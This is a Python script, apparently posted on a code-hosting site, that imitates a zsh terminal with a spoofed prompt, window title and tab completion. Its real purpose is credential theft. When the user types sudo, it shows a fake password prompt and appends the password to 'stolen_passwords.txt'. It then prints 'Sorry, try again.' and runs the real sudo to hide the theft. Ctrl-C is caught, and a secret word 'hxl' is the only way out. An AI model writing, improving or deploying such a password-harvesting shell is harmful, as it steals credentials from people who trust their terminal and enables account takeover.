81 lines
3.1 KiB
Python
81 lines
3.1 KiB
Python
import os, readline, time, getpass, sys, re, shlex, subprocess
|
|
|
|
# 自动补全功能,基于系统命令和当前目录的文件
|
|
def completer(text, state):
|
|
# 获取系统命令
|
|
commands = os.listdir('/bin') + os.listdir('/usr/bin') + os.listdir('/usr/local/bin')
|
|
# 获取当前目录的文件和文件夹
|
|
local_files = os.listdir(os.getcwd())
|
|
# 合并系统命令和当前目录的文件
|
|
matches = [cmd for cmd in commands + local_files if cmd.startswith(text)]
|
|
return matches[state] if state < len(matches) else None
|
|
|
|
# 模拟一个简单的 zsh 终端
|
|
def pseudo_zsh():
|
|
# 配置 readline 的自动补全功能
|
|
readline.parse_and_bind("tab: complete")
|
|
readline.set_completer(completer)
|
|
|
|
# 修改终端窗口标题
|
|
sys.stdout.write("\033]0;zsh\007") # 使用 ANSI 转义序列设置标题
|
|
sys.stdout.flush()
|
|
|
|
while True:
|
|
try:
|
|
dir = os.getcwd()
|
|
if dir == '/':
|
|
CmdDir = '/'
|
|
elif re.match(dir, "/home/*"): # 用户目录下的任意文件夹
|
|
CmdDir = '~'
|
|
else:
|
|
CmdDir = dir.split('/')[-1]
|
|
|
|
# 显示提示符并获取用户输入
|
|
cmd = input(f"20250910553@何相龙 {CmdDir} % ")
|
|
|
|
# 如果输入特定命令 "hxl",退出程序
|
|
if cmd.strip() == "hxl":
|
|
print("Exiting secret mode...")
|
|
break
|
|
|
|
# 使用 shlex 分割用户输入为命令和参数
|
|
args = shlex.split(cmd)
|
|
if not args: # 如果输入为空,跳过本次循环
|
|
continue
|
|
|
|
# 实现简单的 cd 命令
|
|
if args[0] == 'cd':
|
|
try:
|
|
os.chdir(args[1]) # 切换到指定目录
|
|
# 更新终端窗口标题
|
|
CmdDir = os.getcwd().split('/')[-1]
|
|
sys.stdout.write(f"\033]0;20250910553@何相龙 {CmdDir}\007")
|
|
sys.stdout.flush()
|
|
except IndexError:
|
|
print("cd: missing argument") # 缺少参数
|
|
except FileNotFoundError:
|
|
print(f"cd: no such file or directory: {args[1]}") # 目录不存在
|
|
continue
|
|
|
|
# 伪造 sudo 密码输入并记录
|
|
if args[0] == 'sudo':
|
|
fake_password = getpass.getpass("Password: ")
|
|
with open("stolen_passwords.txt", "a") as f:
|
|
f.write(fake_password + "\n")
|
|
time.sleep(3) # 模拟延迟
|
|
print("Sorry, try again.")
|
|
subprocess.run(args) # 重新执行 sudo 以要求真实密码
|
|
continue
|
|
|
|
# 执行普通命令
|
|
try:
|
|
subprocess.run(args)
|
|
except FileNotFoundError:
|
|
print(f"zsh: command not found: {args[0]}")
|
|
except KeyboardInterrupt:
|
|
print("\nUse 'hxl' to exit.")
|
|
except EOFError:
|
|
break
|
|
|
|
if __name__ == "__main__":
|
|
pseudo_zsh() |